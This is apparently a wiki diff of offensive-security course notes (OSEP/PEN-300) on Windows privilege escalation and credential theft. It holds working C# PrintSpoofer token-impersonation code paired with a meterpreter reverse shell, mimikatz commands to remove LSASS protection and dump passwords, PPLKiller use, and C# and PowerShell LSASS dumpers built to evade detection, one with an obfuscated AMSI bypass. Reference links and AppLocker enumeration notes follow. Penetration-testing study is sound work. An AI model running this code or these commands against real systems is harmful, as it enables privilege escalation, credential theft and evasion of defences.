* We will use the code below to simulate a print client. The code will create a pipe server, wait for a connection, and attempt to impersonate the client that connects to it. | * We will use the code below to simulate a print client. The code will create a pipe server, wait for a connection, and attempt to impersonate the client that connects to it. | ||
<syntaxhighlight lang="csharp"> | <syntaxhighlight lang="csharp"> | ||
| Line 9,640: | Line 7,350: | ||
using System.Security.Principal; | using System.Security.Principal; | ||
using System.Text; | using System.Text; | ||
namespace PrintSpoofer | namespace PrintSpoofer | ||
{ | { | ||
| Line 9,652: | Line 7,361: | ||
public static uint SECURITY_IMPERSONATION = 2; | public static uint SECURITY_IMPERSONATION = 2; | ||
public static uint TOKEN_PRIMARY = 1; | public static uint TOKEN_PRIMARY = 1; | ||
[StructLayout(LayoutKind.Sequential)] | [StructLayout(LayoutKind.Sequential)] | ||
public struct PROCESS_INFORMATION | public struct PROCESS_INFORMATION | ||
| Line 9,683: | Line 7,391: | ||
public IntPtr hStdError; | public IntPtr hStdError; | ||
} | } | ||
public enum CreationFlags | public enum CreationFlags | ||
{ | { | ||
| Line 9,699: | Line 7,406: | ||
NetCredentialsOnly | NetCredentialsOnly | ||
} | } | ||
[DllImport("kernel32.dll", SetLastError = true)] | [DllImport("kernel32.dll", SetLastError = true)] | ||
static extern IntPtr CreateNamedPipe(string lpName, uint dwOpenMode, uint dwPipeMode, uint nMaxInstances, uint nOutBufferSize, uint nInBufferSize, uint nDefaultTimeOut, IntPtr lpSecurityAttributes); | static extern IntPtr CreateNamedPipe(string lpName, uint dwOpenMode, uint dwPipeMode, uint nMaxInstances, uint nOutBufferSize, uint nInBufferSize, uint nDefaultTimeOut, IntPtr lpSecurityAttributes); | ||
[DllImport("kernel32.dll")] | [DllImport("kernel32.dll")] | ||
static extern bool ConnectNamedPipe(IntPtr hNamedPipe, IntPtr lpOverlapped); | static extern bool ConnectNamedPipe(IntPtr hNamedPipe, IntPtr lpOverlapped); | ||
[DllImport("Advapi32.dll")] | [DllImport("Advapi32.dll")] | ||
static extern bool ImpersonateNamedPipeClient(IntPtr hNamedPipe); | static extern bool ImpersonateNamedPipeClient(IntPtr hNamedPipe); | ||
[DllImport("advapi32.dll", SetLastError = true)] | [DllImport("advapi32.dll", SetLastError = true)] | ||
static extern bool OpenThreadToken(IntPtr ThreadHandle, uint DesiredAccess, bool OpenAsSelf, out IntPtr TokenHandle); | static extern bool OpenThreadToken(IntPtr ThreadHandle, uint DesiredAccess, bool OpenAsSelf, out IntPtr TokenHandle); | ||
[DllImport("kernel32.dll")] | [DllImport("kernel32.dll")] | ||
static extern IntPtr GetCurrentThread(); | static extern IntPtr GetCurrentThread(); | ||
[DllImport("advapi32", SetLastError = true, CharSet = CharSet.Unicode)] | [DllImport("advapi32", SetLastError = true, CharSet = CharSet.Unicode)] | ||
public static extern bool CreateProcessWithTokenW(IntPtr hToken, LogonFlags dwLogonFlags, string lpApplicationName, string lpCommandLine, CreationFlags dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, [In] ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation); | public static extern bool CreateProcessWithTokenW(IntPtr hToken, LogonFlags dwLogonFlags, string lpApplicationName, string lpCommandLine, CreationFlags dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, [In] ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation); | ||
[DllImport("advapi32.dll", CharSet = CharSet.Auto, SetLastError = true)] | [DllImport("advapi32.dll", CharSet = CharSet.Auto, SetLastError = true)] | ||
public extern static bool DuplicateTokenEx(IntPtr hExistingToken, uint dwDesiredAccess, IntPtr lpTokenAttributes, uint ImpersonationLevel, uint TokenType, out IntPtr phNewToken); | public extern static bool DuplicateTokenEx(IntPtr hExistingToken, uint dwDesiredAccess, IntPtr lpTokenAttributes, uint ImpersonationLevel, uint TokenType, out IntPtr phNewToken); | ||
[DllImport("advapi32.dll", SetLastError = true)] | [DllImport("advapi32.dll", SetLastError = true)] | ||
static extern bool RevertToSelf(); | static extern bool RevertToSelf(); | ||
[DllImport("kernel32.dll")] | [DllImport("kernel32.dll")] | ||
static extern uint GetSystemDirectory([Out] StringBuilder lpBuffer, uint uSize); | static extern uint GetSystemDirectory([Out] StringBuilder lpBuffer, uint uSize); | ||
[DllImport("userenv.dll", SetLastError = true)] | [DllImport("userenv.dll", SetLastError = true)] | ||
static extern bool CreateEnvironmentBlock(out IntPtr lpEnvironment, IntPtr hToken, bool bInherit); | static extern bool CreateEnvironmentBlock(out IntPtr lpEnvironment, IntPtr hToken, bool bInherit); | ||
public static void Main(string[] args) | public static void Main(string[] args) | ||
{ | { | ||
| Line 9,740: | Line 7,436: | ||
string pipeName = args[0]; | string pipeName = args[0]; | ||
string binToRun = args[1]; | string binToRun = args[1]; | ||
// Create our named pipe | // Create our named pipe | ||
IntPtr hPipe = CreateNamedPipe(pipeName, PIPE_ACCESS_DUPLEX, PIPE_TYPE_BYTE | PIPE_WAIT, 10, 0x1000, 0x1000, 0, IntPtr.Zero); | IntPtr hPipe = CreateNamedPipe(pipeName, PIPE_ACCESS_DUPLEX, PIPE_TYPE_BYTE | PIPE_WAIT, 10, 0x1000, 0x1000, 0, IntPtr.Zero); | ||
// Connect to our named pipe and wait for another client to connect | // Connect to our named pipe and wait for another client to connect | ||
Console.WriteLine("Waiting for client to connect to named pipe..."); | Console.WriteLine("Waiting for client to connect to named pipe..."); | ||
bool result = ConnectNamedPipe(hPipe, IntPtr.Zero); | bool result = ConnectNamedPipe(hPipe, IntPtr.Zero); | ||
// Impersonate the token of the incoming connection | // Impersonate the token of the incoming connection | ||
result = ImpersonateNamedPipeClient(hPipe); | result = ImpersonateNamedPipeClient(hPipe); | ||
// Open a handle on the impersonated token | // Open a handle on the impersonated token | ||
IntPtr tokenHandle; | IntPtr tokenHandle; | ||
result = OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, false, out tokenHandle); | result = OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, false, out tokenHandle); | ||
// Duplicate the stolen token | // Duplicate the stolen token | ||
IntPtr sysToken = IntPtr.Zero; | IntPtr sysToken = IntPtr.Zero; | ||
DuplicateTokenEx(tokenHandle, TOKEN_ALL_ACCESS, IntPtr.Zero, SECURITY_IMPERSONATION, TOKEN_PRIMARY, out sysToken); | DuplicateTokenEx(tokenHandle, TOKEN_ALL_ACCESS, IntPtr.Zero, SECURITY_IMPERSONATION, TOKEN_PRIMARY, out sysToken); | ||
// Create an environment block for the non-interactive session | // Create an environment block for the non-interactive session | ||
IntPtr env = IntPtr.Zero; | IntPtr env = IntPtr.Zero; | ||
bool res = CreateEnvironmentBlock(out env, sysToken, false); | bool res = CreateEnvironmentBlock(out env, sysToken, false); | ||
// Get the impersonated identity and revert to self to ensure we have impersonation privs | // Get the impersonated identity and revert to self to ensure we have impersonation privs | ||
String name = WindowsIdentity.GetCurrent().Name; | String name = WindowsIdentity.GetCurrent().Name; | ||
Console.WriteLine($"Impersonated user is: {name}."); | Console.WriteLine($"Impersonated user is: {name}."); | ||
RevertToSelf(); | RevertToSelf(); | ||
// Get the system directory | // Get the system directory | ||
StringBuilder sbSystemDir = new StringBuilder(256); | StringBuilder sbSystemDir = new StringBuilder(256); | ||
uint res1 = GetSystemDirectory(sbSystemDir, 256); | uint res1 = GetSystemDirectory(sbSystemDir, 256); | ||
// Spawn a new process with the duplicated token, a desktop session, and the created profile | // Spawn a new process with the duplicated token, a desktop session, and the created profile | ||
PROCESS_INFORMATION pInfo = new PROCESS_INFORMATION(); | PROCESS_INFORMATION pInfo = new PROCESS_INFORMATION(); | ||
| Line 9,782: | Line 7,469: | ||
} | } | ||
} | } | ||
</syntaxhighlight> | </syntaxhighlight> | ||
'''Step 1 - Compile the code (PrintSpoofer.exe) above and compile a meterpreter reverse shell''' | '''Step 1 - Compile the code (PrintSpoofer.exe) above and compile a meterpreter reverse shell''' | ||
* Transfer to target. | * Transfer to target. | ||
'''Step 2 - Start the''' '''PrintSpoofer.exe''' | '''Step 2 - Start the''' '''PrintSpoofer.exe''' | ||
* Specify the meterpreter binary | * Specify the meterpreter binary | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
PrintSpoofer.exe \\.\pipe\test\pipe\spoolss C:windows\tasts\bin.exe | PrintSpoofer.exe \\.\pipe\test\pipe\spoolss C:windows\tasts\bin.exe | ||
</syntaxhighlight> | </syntaxhighlight> | ||
'''Step 3 - Coerce Windows to authenticate''' | '''Step 3 - Coerce Windows to authenticate''' | ||
* Use SpoolSample.exe to authenticate. | * Use SpoolSample.exe to authenticate. | ||
* When a file path is supplied to a Win32 API, directory separators are converted to a canonical form. Forward slashes (“/”) are converted to backward slashes (“\”). This process is known as file path normalization. | * When a file path is supplied to a Win32 API, directory separators are converted to a canonical form. Forward slashes (“/”) are converted to backward slashes (“\”). This process is known as file path normalization. | ||
* If <code>SpoolSample</code> is provided with a pipe name containing a forward slash after the hostname (e.g., “appsrv01/test”), the spooler service appends the default name “pipe\spoolss” before processing. | * If <code>SpoolSample</code> is provided with a pipe name containing a forward slash after the hostname (e.g., “appsrv01/test”), the spooler service appends the default name “pipe\spoolss” before processing. | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
SpoolSample.exe appsrv01 appsrv01/pipe/test | SpoolSample.exe appsrv01 appsrv01/pipe/test | ||
</syntaxhighlight> | </syntaxhighlight> | ||
'''Step 4 - bin.exe executed in the context of impersonated token''' | '''Step 4 - bin.exe executed in the context of impersonated token''' | ||
[[File:2023-10-image.png|thumb]] | [[File:2023-10-image.png|thumb]] | ||
[[File:2023-10-image-2.png|thumb]] | [[File:2023-10-image-2.png|thumb]] | ||
==== Using Meterpreter to impersonate users ==== | ==== Using Meterpreter to impersonate users ==== | ||
* Using the meterpreter sesison with SYSTEM shell we can impersonate tokens without using mimikatz. | * Using the meterpreter sesison with SYSTEM shell we can impersonate tokens without using mimikatz. | ||
'''Steps''': | '''Steps''': | ||
* '''Load Incognito Extension''': | * '''Load Incognito Extension''': | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
meterpreter > load incognito | meterpreter > load incognito | ||
</syntaxhighlight> | </syntaxhighlight> | ||
* '''Display Available Commands''': | * '''Display Available Commands''': | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
meterpreter > help incognito | meterpreter > help incognito | ||
</syntaxhighlight> | </syntaxhighlight> | ||
'''Key Commands''': | '''Key Commands''': | ||
* <code>add_group_user </code>: Add a user to a global group with all tokens. | * <code>add_group_user </code>: Add a user to a global group with all tokens. | ||
* <code>add_localgroup_user</code> : Add a user to a local group with all tokens. | * <code>add_localgroup_user</code> : Add a user to a local group with all tokens. | ||
* <code>add_user</code> : Add a user with all tokens. | * <code>add_user</code> : Add a user with all tokens. | ||
* <code>impersonate_token</code> : Impersonate a specified token. | * <code>impersonate_token</code> : Impersonate a specified token. | ||
* <code>list_tokens</code> : List tokens available under the current user context. | * <code>list_tokens</code> : List tokens available under the current user context. | ||
* <code>snarf_hashes</code> : Capture challenge/response hashes for every token. | * <code>snarf_hashes</code> : Capture challenge/response hashes for every token. | ||
* '''List Unique User Tokens''': | * '''List Unique User Tokens''': | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
meterpreter > list_tokens -u | meterpreter > list_tokens -u | ||
</syntaxhighlight> | </syntaxhighlight> | ||
'''Output''': | '''Output''': | ||
* Delegation Tokens (e.g., corp1\admin , NT AUTHORITY\SYSTEM , etc.) | * Delegation Tokens (e.g., corp1\admin , NT AUTHORITY\SYSTEM , etc.) | ||
* Impersonation Tokens (e.g., NT AUTHORITY\ANONYMOUS LOGON ) | * Impersonation Tokens (e.g., NT AUTHORITY\ANONYMOUS LOGON ) | ||
* '''Impersonate a User Token''': | * '''Impersonate a User Token''': | ||
* Use the impersonate_token command to impersonate a user through the Win32 ImpersonateLoggedOnUser API. | * Use the impersonate_token command to impersonate a user through the Win32 ImpersonateLoggedOnUser API. | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
meterpreter > impersonate_token corp1\\admin | meterpreter > impersonate_token corp1\\admin | ||
</syntaxhighlight> | </syntaxhighlight> | ||
* '''Verify Impersonation''': | * '''Verify Impersonation''': | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
meterpreter > getuid | meterpreter > getuid | ||
</syntaxhighlight> | </syntaxhighlight> | ||
=== Kerberos === | === Kerberos === | ||
* '''Domain Controller (DC)''': Acts as a Key Distribution Center (KDC). | * '''Domain Controller (DC)''': Acts as a Key Distribution Center (KDC). | ||
* '''Authentication Server''': Service run by the DC. | * '''Authentication Server''': Service run by the DC. | ||
* '''Ticket Granting Ticket (TGT)''': Contains user info, domain, timestamp, client IP, and session key. | * '''Ticket Granting Ticket (TGT)''': Contains user info, domain, timestamp, client IP, and session key. | ||
* '''Service Principal Name (SPN)''': Identifier for each instance of a service. | * '''Service Principal Name (SPN)''': Identifier for each instance of a service. | ||
==== Disable LSA protection and dump cached creds ==== | ==== Disable LSA protection and dump cached creds ==== | ||
Download mimidrv 32bit or 64bit here [https://github.com/In3x0rabl3/OSEP/tree/main/Lateral_Movement/driver OSEP/Lateral_Movement/driver at main · In3x0rabl3/OSEP (github.com)] | Download mimidrv 32bit or 64bit here [https://github.com/In3x0rabl3/OSEP/tree/main/Lateral_Movement/driver OSEP/Lateral_Movement/driver at main · In3x0rabl3/OSEP (github.com)] | ||
* Mimikatz is a tool used to extract and manipulate credentials, tokens, and privileges in Windows. | * Mimikatz is a tool used to extract and manipulate credentials, tokens, and privileges in Windows. | ||
* '''Local Security Authority (LSA) Protection''': Protects the LSASS memory space where password hashes are cached. | * '''Local Security Authority (LSA) Protection''': Protects the LSASS memory space where password hashes are cached. | ||
* '''Protected Processes Light (PPL)''': Introduced from Windows 8 onwards, prevents a SYSTEM integrity process from accessing another SYSTEM integrity process with PPL enabled. | * '''Protected Processes Light (PPL)''': Introduced from Windows 8 onwards, prevents a SYSTEM integrity process from accessing another SYSTEM integrity process with PPL enabled. | ||
* LSASS is part of the OS and runs as SYSTEM. SYSTEM or local administrator permissions are needed to access hashes stored on a target. | * LSASS is part of the OS and runs as SYSTEM. SYSTEM or local administrator permissions are needed to access hashes stored on a target. | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
# 1. Enable SeDebugPrivilege: | # 1. Enable SeDebugPrivilege: | ||
mimikatz # privilege::debug | mimikatz # privilege::debug | ||
# 2. Manually load the driver with the sc.exe Service Control application. | # 2. Manually load the driver with the sc.exe Service Control application. | ||
sc create mimidrv binPath=C:\\windows\\tasks\\mimidrv.sys type=kernel start=demand | sc create mimidrv binPath=C:\\windows\\tasks\\mimidrv.sys type=kernel start=demand | ||
sc start mimidrv | sc start mimidrv | ||
# 3. Load mimidrv.sys (https://github.com/ParrotSec/mimikatz/tree/master/x64) Driver (to disable PPL protection for LSASS): | # 3. Load mimidrv.sys (https://github.com/ParrotSec/mimikatz/tree/master/x64) Driver (to disable PPL protection for LSASS): | ||
# NOTE: Uploading the mimidrv.sys driver to the victim machine might trigger antivirus detections. | # NOTE: Uploading the mimidrv.sys driver to the victim machine might trigger antivirus detections. | ||
mimikatz # !+ | mimikatz # !+ | ||
# 4. Disable LSA Protection for LSASS: | # 4. Disable LSA Protection for LSASS: | ||
mimikatz # !processprotect /process:lsass.exe /remove | mimikatz # !processprotect /process:lsass.exe /remove | ||
# 5. Dump Credentials After Disabling LSA Protection: | # 5. Dump Credentials After Disabling LSA Protection: | ||
mimikatz # sekurlsa::logonpasswords | mimikatz # sekurlsa::logonpasswords | ||
</syntaxhighlight> | </syntaxhighlight> | ||
==== Using PPLKiller ==== | ==== Using PPLKiller ==== | ||
[https://github.com/RedCursorSecurityConsulting/PPLKiller GitHub - RedCursorSecurityConsulting/PPLKiller: Tool to bypass LSA Protection (aka Protected Process Light)] | [https://github.com/RedCursorSecurityConsulting/PPLKiller GitHub - RedCursorSecurityConsulting/PPLKiller: Tool to bypass LSA Protection (aka Protected Process Light)] | ||
Tool to bypass LSA Protection (aka Protected Process Light) | Tool to bypass LSA Protection (aka Protected Process Light) | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
| Line 9,981: | Line 7,608: | ||
4. Cleanup with PPLKiller.exe /uninstallDriver | 4. Cleanup with PPLKiller.exe /uninstallDriver | ||
</syntaxhighlight> | </syntaxhighlight> | ||
==== Memory Dump with Mimikatz ==== | ==== Memory Dump with Mimikatz ==== | ||
* Memory dumps allow for the extraction of sensitive information, such as credentials, from the LSASS process. | * Memory dumps allow for the extraction of sensitive information, such as credentials, from the LSASS process. | ||
* Mimikatz can be used to parse these dumps and extract the desired information. | * Mimikatz can be used to parse these dumps and extract the desired information. | ||
* '''Using Task Manager''': | * '''Using Task Manager''': | ||
Right-click the task bar and select Task Manager. | Right-click the task bar and select Task Manager. | ||
* Navigate to the Details tab. | * Navigate to the Details tab. | ||
* Locate the lsass.exe process. | * Locate the lsass.exe process. | ||
* Right-click it and choose "Create dump file". | * Right-click it and choose "Create dump file". | ||
* Note the location of the dump file from the popup. | * Note the location of the dump file from the popup. | ||
[[File:2023-10-image-5.png|thumb]] | [[File:2023-10-image-5.png|thumb]] | ||
* '''Ensure Compatibility''': | * '''Ensure Compatibility''': | ||
When opening a dump file in Mimikatz, the target machine and the processing machine must have a matching OS and architecture. For example, if the dumped LSASS process was from a Windows 10 64-bit machine; we must also parse it on a Windows 10 or Windows 2016/2019 64-bit machine. However, processing the dump file requires neither an elevated command prompt nor privilege::debug. | When opening a dump file in Mimikatz, the target machine and the processing machine must have a matching OS and architecture. For example, if the dumped LSASS process was from a Windows 10 64-bit machine; we must also parse it on a Windows 10 or Windows 2016/2019 64-bit machine. However, processing the dump file requires neither an elevated command prompt nor privilege::debug. | ||
* '''Load and Parse the Dump''': | * '''Load and Parse the Dump''': | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
| Line 10,025: | Line 7,638: | ||
mimikatz # sekurlsa::logonpasswords | mimikatz # sekurlsa::logonpasswords | ||
</syntaxhighlight> | </syntaxhighlight> | ||
* Creating a dump using Task Manager requires GUI access to the target machine. | * Creating a dump using Task Manager requires GUI access to the target machine. | ||
* While parsing the dump file with Mimikatz, there's no need for an elevated command prompt or the privilege::debug command. | * While parsing the dump file with Mimikatz, there's no need for an elevated command prompt or the privilege::debug command. | ||
* The technique does not require the presence of Mimikatz on the target machine. | * The technique does not require the presence of Mimikatz on the target machine. | ||
==== MiniDump ==== | ==== MiniDump ==== | ||
* Developing a custom C# application for executing a memory dump, which can be parsed using Mimikatz. | * Developing a custom C# application for executing a memory dump, which can be parsed using Mimikatz. | ||
* Task Manager and ProcDump, when creating a dump file, utilize the Win32 <code>MiniDumpWriteDump</code> API. | * Task Manager and ProcDump, when creating a dump file, utilize the Win32 <code>MiniDumpWriteDump</code> API. | ||
* The goal is to create a C# application that replicates this functionality by invoking the same API. | * The goal is to create a C# application that replicates this functionality by invoking the same API. | ||
* This will probably avoid detection, since mimikatz is so well known and will trigger every signature. | * This will probably avoid detection, since mimikatz is so well known and will trigger every signature. | ||
* Execute the application from an elevated command prompt to avoid OpenProcess failure. | * Execute the application from an elevated command prompt to avoid OpenProcess failure. | ||
'''C# version''' | '''C# version''' | ||
<syntaxhighlight lang="csharp"> | <syntaxhighlight lang="csharp"> | ||
| Line 10,062: | Line 7,664: | ||
using System.IO; | using System.IO; | ||
using System.Runtime.InteropServices; | using System.Runtime.InteropServices; | ||
namespace MiniDump | namespace MiniDump | ||
{ | { | ||
| Line 10,069: | Line 7,670: | ||
static int MiniDumpWithFullMemory = 2; | static int MiniDumpWithFullMemory = 2; | ||
static UInt32 PROCESS_ALL_ACCESS = 0x001F0FFF; | static UInt32 PROCESS_ALL_ACCESS = 0x001F0FFF; | ||
[DllImport("Dbghelp.dll")] | [DllImport("Dbghelp.dll")] | ||
static extern bool MiniDumpWriteDump(IntPtr hProcess, int ProcessId, IntPtr hFile, int DumpType, IntPtr ExceptionParam, IntPtr UserStreamParam, IntPtr CallbackParam); | static extern bool MiniDumpWriteDump(IntPtr hProcess, int ProcessId, IntPtr hFile, int DumpType, IntPtr ExceptionParam, IntPtr UserStreamParam, IntPtr CallbackParam); | ||
[DllImport("kernel32.dll")] | [DllImport("kernel32.dll")] | ||
static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId); | static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId); | ||
public static void Main(string[] args) | public static void Main(string[] args) | ||
{ | { | ||
| Line 10,082: | Line 7,680: | ||
int lsass_pid = lsass[0].Id; | int lsass_pid = lsass[0].Id; | ||
Console.WriteLine($"Got lsass.exe PID: {lsass_pid}."); | Console.WriteLine($"Got lsass.exe PID: {lsass_pid}."); | ||
// Get a handle on LSASS | // Get a handle on LSASS | ||
IntPtr handle = OpenProcess(PROCESS_ALL_ACCESS, false, lsass_pid); | IntPtr handle = OpenProcess(PROCESS_ALL_ACCESS, false, lsass_pid); | ||
Console.WriteLine($"Got a handle on lsass.exe: {handle}."); | Console.WriteLine($"Got a handle on lsass.exe: {handle}."); | ||
// Dump LSASS process to file | // Dump LSASS process to file | ||
string filePath = "C:\\Windows\\tasks\\lsass.dmp"; | string filePath = "C:\\Windows\\tasks\\lsass.dmp"; | ||
| Line 10,102: | Line 7,698: | ||
} | } | ||
} | } | ||
</syntaxhighlight> | </syntaxhighlight> | ||
'''Powershell Version''' | '''Powershell Version''' | ||
<syntaxhighlight lang="powershell"> | <syntaxhighlight lang="powershell"> | ||
| Line 10,113: | Line 7,706: | ||
# Change this if the bypass dont work | # Change this if the bypass dont work | ||
[Ref].Assembly.GetType('System.Management.Automation.Amsi'+[char]85+'tils').GetField('ams'+[char]105+'InitFailed','NonPublic,Static').SetValue($null,$true) | [Ref].Assembly.GetType('System.Management.Automation.Amsi'+[char]85+'tils').GetField('ams'+[char]105+'InitFailed','NonPublic,Static').SetValue($null,$true) | ||
# Utility functions | # Utility functions | ||
function LookupFunc { | function LookupFunc { | ||
| Line 10,125: | Line 7,717: | ||
@($moduleName)), $functionName)) | @($moduleName)), $functionName)) | ||
} | } | ||
function getDelegateType { | function getDelegateType { | ||
Param ( | Param ( | ||
| Line 10,146: | Line 7,737: | ||
return $type.CreateType() | return $type.CreateType() | ||
} | } | ||
# Add dbghelp.dll and reflectively load the function while we're at it | # Add dbghelp.dll and reflectively load the function while we're at it | ||
# (somehow dbghelp.dll doesn't play nice with LookupFunc) | # (somehow dbghelp.dll doesn't play nice with LookupFunc) | ||
| Line 10,162: | Line 7,752: | ||
'@ | '@ | ||
$dbghelp = Add-Type -MemberDefinition $MethodDefinition -Name 'dbghelp' -Namespace 'Win32' -PassThru | $dbghelp = Add-Type -MemberDefinition $MethodDefinition -Name 'dbghelp' -Namespace 'Win32' -PassThru | ||
# Get LSASS PID | # Get LSASS PID | ||
$lsassPid = Get-Process lsass | select -ExpandProperty Id | $lsassPid = Get-Process lsass | select -ExpandProperty Id | ||
Write-Host("Got lsass.exe PID: $lsassPid.") | Write-Host("Got lsass.exe PID: $lsassPid.") | ||
# Get a handle on LSASS | # Get a handle on LSASS | ||
$handle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll OpenProcess), | $handle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll OpenProcess), | ||
(getDelegateType @([UInt32], [Bool], [Int])([IntPtr]))).Invoke(0x1F0FFF,$false,$lsassPid) | (getDelegateType @([UInt32], [Bool], [Int])([IntPtr]))).Invoke(0x1F0FFF,$false,$lsassPid) | ||
Write-Host("Got handle on LSASS: $handle.") | Write-Host("Got handle on LSASS: $handle.") | ||
# Dump process memory to file | # Dump process memory to file | ||
$filePath = "C:\Windows\Tasks\lsass.dmp" | $filePath = "C:\Windows\Tasks\lsass.dmp" | ||
| Line 10,177: | Line 7,764: | ||
$result = $dbghelp::MiniDumpWriteDump($handle, $lsassPid, $dumpFile.Handle, 2, [IntPtr]::Zero, [IntPtr]::Zero, [IntPtr]::Zero) | $result = $dbghelp::MiniDumpWriteDump($handle, $lsassPid, $dumpFile.Handle, 2, [IntPtr]::Zero, [IntPtr]::Zero, [IntPtr]::Zero) | ||
$dumpFile.Close() | $dumpFile.Close() | ||
if($result) { | if($result) { | ||
Write-Host("Dumped LSASS memory to $filePath.") | Write-Host("Dumped LSASS memory to $filePath.") | ||
| Line 10,183: | Line 7,769: | ||
Write-Host("Error dumping LSASS memory.") | Write-Host("Error dumping LSASS memory.") | ||
} | } | ||
</syntaxhighlight> | </syntaxhighlight> | ||
[[Category:Handbooks]] | [[Category:Handbooks]] | ||
Latest revision as of 22:11, 17 February 2026
Great websites
| Name | Link |
|---|---|
| Living Off Trusted Sites | LOTS Project - Living Off Trusted Sites (lots-project.com) |
| Living Off Trusted Land | https://lolbas-project.github.io/ |
| Living Off Trusted Land C2 | LOLC2 |
| GTFObins | https://gtfobins.github.io/ |
| Living Off The Land Drivers | LOLDrivers |
| WADComs | https://wadcoms.github.io/ |
| Living off the Foreign Land Cmdlets and Binaries | LOFLCAB (lofl-project.github.io) |
| Filesec | Filesec.io |
| MalAPI | MalAPI.io |
Sources
GitHub - chvancooten/OSEP-Code-Snippets: A repository with my notable code snippets for Offensive Security's PEN-300 (OSEP) course. Offsec Pen-300 PDF
Important!
See this for a comprehensive guide on AV evasion with many different examples. AV Evasion 101: Essential Techniques and Concepts – BOOK_GHANIM
OSEP Notes Overview PT 1 by Joas
OSEP-Offensive-Security-Evasion-Professional-Notes-OverviewDownload
Mitre Framework
| TITLE | URL | SHORT DESCRIPTION |
|---|---|---|
| MITRE Engage | https://engage.mitre.org/ | MITRE Engage is a platform for collaboration and engagement in the cybersecurity community. |
| MITRE ATT&CK | https://attack.mitre.org/ | MITRE ATT&CK is a knowledge base for adversary tactics and techniques used in cyberattacks. |
| MITRE Cyber Analytics Repository (CAR) | https://car.mitre.org/ | CAR is a repository of analytics for cybersecurity, providing detection and analytics capabilities. |
| MITRE D3FEND | https://d3fend.mitre.org/ | D3FEND focuses on defensive techniques to protect against adversary tactics described in ATT&CK. |
| Common Vulnerabilities and Exposures (CVE) | https://cve.mitre.org/ | CVE is a dictionary of common identifiers for publicly known cybersecurity vulnerabilities. |
| Common Attack Pattern Enumeration and Classification (CAPEC) | https://capec.mitre.org/ | CAPEC is a catalog of common attack patterns used by adversaries in cybersecurity. |
| Common Weakness Enumeration (CWE) | https://cwe.mitre.org/ | CWE is a community-developed list of common software and hardware weaknesses. |
| Malware Attribute Enumeration and Characterization (MAEC) | https://maecproject.github.io/ | MAEC is a project for standardizing the encoding and communication of malware characteristics. |
| CALDERA | Caldera (mitre.org) | Empower cyber practitioners by saving time, money, and energy through automated security assessments. |
Impersonation vs delegation
- Impersonation Tokens: These tokens can be used to impersonate another user on the same system. You don't necessarily need SYSTEM privileges to obtain and use these tokens.
- Delegation Tokens: These tokens allow for impersonation across the network, such as accessing resources on another machine. Typically, obtaining delegation tokens requires higher privileges, like those of the SYSTEM account.
Managed vs Unmanaged code
Managed Code: Think of managed code like living in an apartment building. You have a building manager who takes care of things like cleaning the halls, fixing broken stuff, and making sure everything is safe. You don't have to worry too much about these things because the manager handles them for you. In the same way, managed code runs in a system that takes care of tasks like cleaning up memory and keeping things secure. Unmanaged Code: Now, imagine you're living in your own house. You're in charge of everything – cleaning, fixing, and making sure it's safe. You have more control, but you also have more responsibilities. Unmanaged code is like that – it gives you more control over how things work, but you have to handle tasks like cleaning up after yourself (managing memory) and making sure everything is secure.
AppLocker Basics
Enumerate AppLocker
Enumerating AppLocker policies can provide insights into which applications, scripts, and files are allowed or denied from executing on a Windows system. This can be valuable for penetration testers and security analysts to find potential bypasses or weaknesses. Here's a guide on how to enumerate AppLocker:
- Using PowerShell:
- View current AppLocker policies:
powershell Get-AppLockerPolicy -Effective -xml
- Check for any configured rules:
powershell Get-AppLockerPolicy -Local | Select -ExpandProperty RuleCollections
- Using Windows Event Viewer:
- AppLocker logs its events under 'Applications and Services Logs > Microsoft > Windows > AppLocker'.
- Look for these event IDs:
8002: A rule was ignored because its conditions were incomplete.
- 8003: No AppLocker rules were applied because no rules are in the policy.
- 8004: AppLocker started enforcing rules.
- 8005: AppLocker stopped enforcing rules.
- 8006: AppLocker policy was changed.
- 8007: AppLocker encountered an error with a rule and continued processing rules.
- 8008: AppLocker policy was deleted.
- Using the Local Security Policy MMC:
- Go to
Start > Runand typesecpol.msc. - In the Security Settings tree, go to
Application Control Policies > AppLocker. - Using Group Policy Editor:
- Go to
Start > Runand typegpedit.msc. - Navigate to
Computer Configuration > Windows Settings > Security Settings > Application Control Policies > AppLocker. - Check for AppLocker's DLL Rules:
- Sometimes, administrators overlook DLL rules which can be used for bypasses.
- Use PowerShell to check DLL rules:
powershell Get-AppLockerPolicy -Effective | Select -ExpandProperty RuleCollections | Where-Object { $_.RuleType -eq 'DllRule' }
- Using PowerUp.ps;
PS C:\>. .\PowerUp.ps1
PS C:\>Invoke-AllChecks
Identify Writeable folders
Many of these directories are writeable by default if applocker is enabled. Check with accesschk.exe.
# Find writeable folders
accesschk.exe "student" C:\Windows -wus
# Check Executable Permissions
icacls.exe C:\Windows\Tasks
# This folder is used by the Task Scheduler to store scheduled tasks.
C:\Windows\Tasks
# Temporary files are stored in this directory. This is a common writable directory for all users.
C:\Windows\Temp
# Used for network tracing logs.
C:\Windows\tracing
# Related to the Component-Based Servicing (CBS) log. CBS is used in Windows servicing (Windows Update).
C:\Windows\Registration\CRMLog
# Related to fax services.
